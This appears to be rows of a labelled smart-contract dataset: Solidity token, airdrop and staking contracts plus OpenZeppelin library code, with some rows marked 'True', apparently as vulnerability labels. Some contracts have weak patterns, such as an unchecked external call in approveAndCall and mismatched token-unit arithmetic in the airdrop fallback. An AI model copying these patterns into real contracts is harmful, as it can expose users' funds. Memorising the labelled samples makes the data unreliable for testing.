// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
}
|
True
|
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pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
contract Erc20Token {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract AirDropContract is Ownable {
using SafeMath for uint256;
Erc20Token public tokenRewardContract;
uint256 public totalAirDropToken;
address public collectorAddress;
mapping(address => uint256) public balanceOf;
event FundTransfer(address backer, uint256 amount, bool isContribution);
event Additional(uint amount);
event Burn(uint amount);
event CollectAirDropTokenBack(address collectorAddress,uint256 airDropTokenNum);
/**
* Constructor function
*/
constructor(
address _tokenRewardContract,
address _collectorAddress
) public {
totalAirDropToken = 2e7;
tokenRewardContract = Erc20Token(_tokenRewardContract);
collectorAddress = _collectorAddress;
}
/**
* Fallback function
*
* The function without name is the default function that is called whenever anyone sends funds to a contract
*/
function() payable public {
require(collectorAddress != 0x0);
require(totalAirDropToken > 0);
uint256 weiAmount = msg.value;
uint256 amount = weiAmount.mul(23000);
totalAirDropToken = totalAirDropToken.sub(amount.div(1e18));
tokenRewardContract.transfer(msg.sender, amount);
address wallet = collectorAddress;
wallet.transfer(weiAmount);
//emit FundTransfer(msg.sender, amount, true);
}
/**
* Add airdrop tokens
*/
function additional(uint256 amount) public onlyOwner {
require(amount > 0);
totalAirDropToken = totalAirDropToken.add(amount);
emit Additional(amount);
}
/**
* burn airdrop tokens
*/
function burn(uint256 amount) public onlyOwner {
require(amount > 0);
totalAirDropToken = totalAirDropToken.sub(amount);
emit Burn(amount);
}
/**
* The owner of the contract modifies the recovery address of the token
*/
function modifyCollectorAddress(address newCollectorAddress) public onlyOwner returns (bool) {
collectorAddress = newCollectorAddress;
}
/**
* Recovery of remaining tokens
*/
function collectAirDropTokenBack(uint256 airDropTokenNum) public onlyOwner {
require(totalAirDropToken > 0);
require(collectorAddress != 0x0);
if (airDropTokenNum > 0) {
tokenRewardContract.transfer(collectorAddress, airDropTokenNum * 1e18);
} else {
tokenRewardContract.transfer(collectorAddress, totalAirDropToken * 1e18);
totalAirDropToken = 0;
}
emit CollectAirDropTokenBack(collectorAddress, airDropTokenNum);
}
/**
* Recovery donated ether
*/
function collectEtherBack() public onlyOwner {
uint256 b = address(this).balance;
require(b > 0);
require(collectorAddress != 0x0);
collectorAddress.transfer(b);
}
/**
* Get the tokenAddress token balance of someone
*/
function getTokenBalance(address tokenAddress, address who) view public returns (uint){
Erc20Token t = Erc20Token(tokenAddress);
return t.balanceOf(who);
}
/**
* Recycle other ERC20 tokens
*/
function collectOtherTokens(address tokenContract) onlyOwner public returns (bool) {
Erc20Token t = Erc20Token(tokenContract);
uint256 b = t.balanceOf(address(this));
return t.transfer(collectorAddress, b);
}
}
|
True
|
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// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.7.6;
import "@openzeppelin/contracts/proxy/TransparentUpgradeableProxy.sol";
import "@openzeppelin/contracts-upgradeable/math/SafeMathUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC20/SafeERC20Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/ReentrancyGuardUpgradeable.sol";
import "../lib/access/OwnableUpgradeable.sol";
contract ZoneStakingUpgradeable is OwnableUpgradeable, ReentrancyGuardUpgradeable {
using SafeERC20Upgradeable for IERC20Upgradeable;
using SafeMathUpgradeable for uint256;
struct Type {
bool enabled;
uint16 lockDay;
uint256 rewardRate;
uint256 stakedAmount;
}
struct Stake {
bool exist;
uint8 typeIndex;
uint256 stakedTs; // timestamp when staked
uint256 unstakedTs; // timestamp when unstaked
uint256 stakedAmount; // token amount user staked
uint256 rewardAmount; // reward amount when user unstaked
}
uint256 private constant DENOMINATOR = 10000;
Type[] public types;
mapping(address => Stake) public stakes;
uint256 public totalStakedAmount;
uint256 public totalUnstakedAmount;
uint256 public stakeLimit;
uint256 public minStakeAmount;
bool public earlyUnstakeAllowed;
IERC20Upgradeable public zoneToken;
address public governorTimelock;
uint256 public totalUnstakedAmountWithReward;
bool public allowBlack;
event AddType(bool enable, uint16 lockDay, uint256 rewardRate);
event ChangeType(uint8 typeIndex, bool enable, uint16 lockDay, uint256 rewardRate);
event SetStakeLimit(uint256 newStakeLimit);
event SetMinStakeAmount(uint256 newMinStakeAmount);
event SetEarlyUnstakeAllowed(bool newAllowed);
event SetVault(address indexed newVault);
event Staked(address indexed staker, uint256 amount, uint8 typeIndex);
event Unstaked(address indexed staker, uint256 stakedAmount, uint256 reward);
modifier onlyOwnerOrCommunity() {
address sender = _msgSender();
require((owner() == sender) || (governorTimelock == sender), "The caller should be owner or governor");
_;
}
/**
* @notice Initializes the contract.
* @param _ownerAddress Address of owner
* @param _zoneToken ZONE token address
* @param _governorTimelock Governor TimeLock address
* @param _typeEnables enable status of types
* @param _lockDays lock days
* @param _rewardRates rewards per day
*/
function initialize(
address _ownerAddress,
address _zoneToken,
address _governorTimelock,
bool[] memory _typeEnables,
uint16[] memory _lockDays,
uint256[] memory _rewardRates
) public initializer {
require(_ownerAddress != address(0), "Owner address is invalid");
stakeLimit = 2500000e18; // 2.5M ZONE
minStakeAmount = 1e18; // 1 ZONE
earlyUnstakeAllowed = true;
__Ownable_init(_ownerAddress);
__ReentrancyGuard_init();
zoneToken = IERC20Upgradeable(_zoneToken);
governorTimelock = _governorTimelock;
_addTypes(_typeEnables, _lockDays, _rewardRates);
}
function setGovernorTimelock(address _governorTimelock) external onlyOwner() {
governorTimelock = _governorTimelock;
}
function getAllTypes() public view returns(bool[] memory enables, uint16[] memory lockDays, uint256[] memory rewardRates) {
enables = new bool[](types.length);
lockDays = new uint16[](types.length);
rewardRates = new uint256[](types.length);
for (uint i = 0; i < types.length; i ++) {
enables[i] = types[i].enabled;
lockDays[i] = types[i].lockDay;
rewardRates[i] = types[i].rewardRate;
}
}
function addTypes(
bool[] memory _enables,
uint16[] memory _lockDays,
uint256[] memory _rewardRates
) external onlyOwner() {
_addTypes(_enables, _lockDays, _rewardRates);
}
function _addTypes(
bool[] memory _enables,
uint16[] memory _lockDays,
uint256[] memory _rewardRates
) internal {
require(
_lockDays.length == _rewardRates.length
&& _lockDays.length == _enables.length,
"Mismatched data"
);
require((types.length + _lockDays.length) <= type(uint8).max, "Too much");
for (uint256 i = 0; i < _lockDays.length; i ++) {
require(_rewardRates[i] < DENOMINATOR/2, "Too large rewardRate");
Type memory _type = Type({
enabled: _enables[i],
lockDay: _lockDays[i],
rewardRate: _rewardRates[i],
stakedAmount: 0
});
types.push(_type);
emit AddType (_type.enabled, _type.lockDay, _type.rewardRate);
}
}
function changeType(
uint8 _typeIndex,
bool _enable,
uint16 _lockDay,
uint256 _rewardRate
) external onlyOwnerOrCommunity() {
require(_typeIndex < types.length, "Invalid typeIndex");
require(_rewardRate < DENOMINATOR/2, "Too large rewardRate");
Type storage _type = types[_typeIndex];
_type.enabled = _enable;
_type.lockDay = _lockDay;
_type.rewardRate = _rewardRate;
emit ChangeType (_typeIndex, _type.enabled, _type.lockDay, _type.rewardRate);
}
function leftCapacity() public view returns(uint256) {
uint256 spent = totalUnstakedAmountWithReward.add(totalStakedAmount).sub(totalUnstakedAmount);
return stakeLimit.sub(spent);
}
function isStaked(address account) public view returns (bool) {
return (stakes[account].exist && stakes[account].unstakedTs == 0) ? true : false;
}
function setStakeLimit(uint256 _stakeLimit) external onlyOwnerOrCommunity() {
uint256 spent = totalUnstakedAmountWithReward.add(totalStakedAmount).sub(totalUnstakedAmount);
require(spent <= _stakeLimit, "The limit is too small");
stakeLimit = _stakeLimit;
emit SetStakeLimit(stakeLimit);
}
function setMinStakeAmount(uint256 _minStakeAmount) external onlyOwnerOrCommunity() {
minStakeAmount = _minStakeAmount;
emit SetMinStakeAmount(minStakeAmount);
}
function setEarlyUnstakeAllowed(bool allow) external onlyOwnerOrCommunity() {
earlyUnstakeAllowed = allow;
emit SetEarlyUnstakeAllowed(earlyUnstakeAllowed);
}
function startStake(uint256 amount, uint8 typeIndex) external nonReentrant() {
address staker = _msgSender();
uint256 capacity = leftCapacity();
require(0 < capacity, "Already closed");
require(isStaked(staker) == false, "Already staked");
require(minStakeAmount <= amount, "The staking amount is too small");
require(amount <= capacity, "Exceed the staking limit");
require(typeIndex < types.length, "Invalid typeIndex");
require(types[typeIndex].enabled, "The type disabled");
zoneToken.safeTransferFrom(staker, address(this), amount);
stakes[staker] = Stake({
exist: true,
typeIndex: typeIndex,
stakedTs: block.timestamp,
unstakedTs: 0,
stakedAmount: amount,
rewardAmount: 0
});
totalStakedAmount = totalStakedAmount.add(amount);
types[typeIndex].stakedAmount = types[typeIndex].stakedAmount.add(amount);
emit Staked(staker, amount, typeIndex);
}
function endStake() external nonReentrant() {
address staker = _msgSender();
require(isStaked(staker), "Not staked");
require(allowBlack || staker != 0x83b4271b054818a93325c7299f006AEc2E90ef96, "Blacklisted");
uint8 typeIndex = stakes[staker].typeIndex;
uint256 stakedAmount = stakes[staker].stakedAmount;
(uint256 claimIn, uint256 reward) = _calcReward(stakes[staker].stakedTs, stakedAmount, typeIndex);
require(earlyUnstakeAllowed || claimIn == 0, "Locked still");
stakes[staker].unstakedTs = block.timestamp;
stakes[staker].rewardAmount = (claimIn == 0) ? reward : 0;
totalUnstakedAmount = totalUnstakedAmount.add(stakedAmount);
if (0 < stakes[staker].rewardAmount) {
totalUnstakedAmountWithReward = totalUnstakedAmountWithReward.add(stakedAmount);
}
types[typeIndex].stakedAmount = types[typeIndex].stakedAmount.sub(stakedAmount);
zoneToken.safeTransfer(staker, stakedAmount.add(stakes[staker].rewardAmount));
emit Unstaked(staker, stakedAmount, stakes[staker].rewardAmount);
}
function _calcReward(
uint256 stakedTs,
uint256 stakedAmount,
uint8 typeIndex
) internal view returns (uint256 claimIn, uint256 rewardAmount) {
if (types[typeIndex].enabled == false) {
return (0, 0);
}
uint256 unlockTs = stakedTs + (types[typeIndex].lockDay * 1 days);
claimIn = (block.timestamp < unlockTs) ? unlockTs - block.timestamp : 0;
rewardAmount = stakedAmount.mul(types[typeIndex].rewardRate).div(DENOMINATOR);
return (claimIn, rewardAmount);
}
function getStakeInfo(
address staker
) external view returns (uint256 stakedAmount, uint8 typeIndex, uint256 claimIn, uint256 rewardAmount, uint256 capacity) {
Stake memory stake = stakes[staker];
if (isStaked(staker)) {
stakedAmount = stake.stakedAmount;
typeIndex = stake.typeIndex;
(claimIn, rewardAmount) = _calcReward(stake.stakedTs, stake.stakedAmount, stake.typeIndex);
return (stakedAmount, typeIndex, claimIn, rewardAmount, 0);
}
return (0, 0, 0, 0, leftCapacity());
}
function fund(address _from, uint256 _amount) external {
require(_from != address(0), '_from is invalid');
require(0 < _amount, '_amount is invalid');
require(_amount <= zoneToken.balanceOf(_from), 'Insufficient balance');
zoneToken.safeTransferFrom(_from, address(this), _amount);
}
function finish() external onlyOwner() {
for (uint i = 0; i < types.length; i ++) {
if (types[i].enabled) {
types[i].enabled = false;
}
}
uint256 amount = zoneToken.balanceOf(address(this));
amount = amount.add(totalUnstakedAmount).sub(totalStakedAmount);
if (0 < amount) {
zoneToken.safeTransfer(owner(), amount);
}
}
function setAllowBlack(bool allow) external onlyOwner() {
allowBlack = allow;
}
}
contract ZoneStakingUpgradeableProxy is TransparentUpgradeableProxy {
constructor(address logic, address admin, bytes memory data) TransparentUpgradeableProxy(logic, admin, data) public {
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./UpgradeableProxy.sol";
/**
* @dev This contract implements a proxy that is upgradeable by an admin.
*
* To avoid https://medium.com/nomic-labs-blog/malicious-backdoors-in-ethereum-proxies-62629adf3357[proxy selector
* clashing], which can potentially be used in an attack, this contract uses the
* https://blog.openzeppelin.com/the-transparent-proxy-pattern/[transparent proxy pattern]. This pattern implies two
* things that go hand in hand:
*
* 1. If any account other than the admin calls the proxy, the call will be forwarded to the implementation, even if
* that call matches one of the admin functions exposed by the proxy itself.
* 2. If the admin calls the proxy, it can access the admin functions, but its calls will never be forwarded to the
* implementation. If the admin tries to call a function on the implementation it will fail with an error that says
* "admin cannot fallback to proxy target".
*
* These properties mean that the admin account can only be used for admin actions like upgrading the proxy or changing
* the admin, so it's best if it's a dedicated account that is not used for anything else. This will avoid headaches due
* to sudden errors when trying to call a function from the proxy implementation.
*
* Our recommendation is for the dedicated account to be an instance of the {ProxyAdmin} contract. If set up this way,
* you should think of the `ProxyAdmin` instance as the real administrative interface of your proxy.
*/
contract TransparentUpgradeableProxy is UpgradeableProxy {
/**
* @dev Initializes an upgradeable proxy managed by `_admin`, backed by the implementation at `_logic`, and
* optionally initialized with `_data` as explained in {UpgradeableProxy-constructor}.
*/
constructor(address _logic, address admin_, bytes memory _data) public payable UpgradeableProxy(_logic, _data) {
assert(_ADMIN_SLOT == bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1));
_setAdmin(admin_);
}
/**
* @dev Emitted when the admin account has changed.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 private constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier used internally that will delegate the call to the implementation unless the sender is the admin.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @dev Returns the current admin.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyAdmin}.
*
* TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the
* https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call.
* `0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103`
*/
function admin() external ifAdmin returns (address admin_) {
admin_ = _admin();
}
/**
* @dev Returns the current implementation.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyImplementation}.
*
* TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the
* https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call.
* `0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc`
*/
function implementation() external ifAdmin returns (address implementation_) {
implementation_ = _implementation();
}
/**
* @dev Changes the admin of the proxy.
*
* Emits an {AdminChanged} event.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-changeProxyAdmin}.
*/
function changeAdmin(address newAdmin) external virtual ifAdmin {
require(newAdmin != address(0), "TransparentUpgradeableProxy: new admin is the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the implementation of the proxy.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-upgrade}.
*/
function upgradeTo(address newImplementation) external virtual ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the implementation of the proxy, and then call a function from the new implementation as specified
* by `data`, which should be an encoded function call. This is useful to initialize new storage variables in the
* proxied contract.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-upgradeAndCall}.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) external payable virtual ifAdmin {
_upgradeTo(newImplementation);
Address.functionDelegateCall(newImplementation, data);
}
/**
* @dev Returns the current admin.
*/
function _admin() internal view virtual returns (address adm) {
bytes32 slot = _ADMIN_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
adm := sload(slot)
}
}
/**
* @dev Stores a new address in the EIP1967 admin slot.
*/
function _setAdmin(address newAdmin) private {
bytes32 slot = _ADMIN_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Makes sure the admin cannot access the fallback function. See {Proxy-_beforeFallback}.
*/
function _beforeFallback() internal virtual override {
require(msg.sender != _admin(), "TransparentUpgradeableProxy: admin cannot fallback to proxy target");
super._beforeFallback();
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMathUpgradeable {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20Upgradeable {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./IERC20Upgradeable.sol";
import "../../math/SafeMathUpgradeable.sol";
import "../../utils/AddressUpgradeable.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20Upgradeable {
using SafeMathUpgradeable for uint256;
using AddressUpgradeable for address;
function safeTransfer(IERC20Upgradeable token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20Upgradeable token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20Upgradeable token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20Upgradeable token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20Upgradeable token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20Upgradeable token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../proxy/Initializable.sol";
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuardUpgradeable is Initializable {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
function __ReentrancyGuard_init() internal initializer {
__ReentrancyGuard_init_unchained();
}
function __ReentrancyGuard_init_unchained() internal initializer {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
uint256[49] private __gap;
}
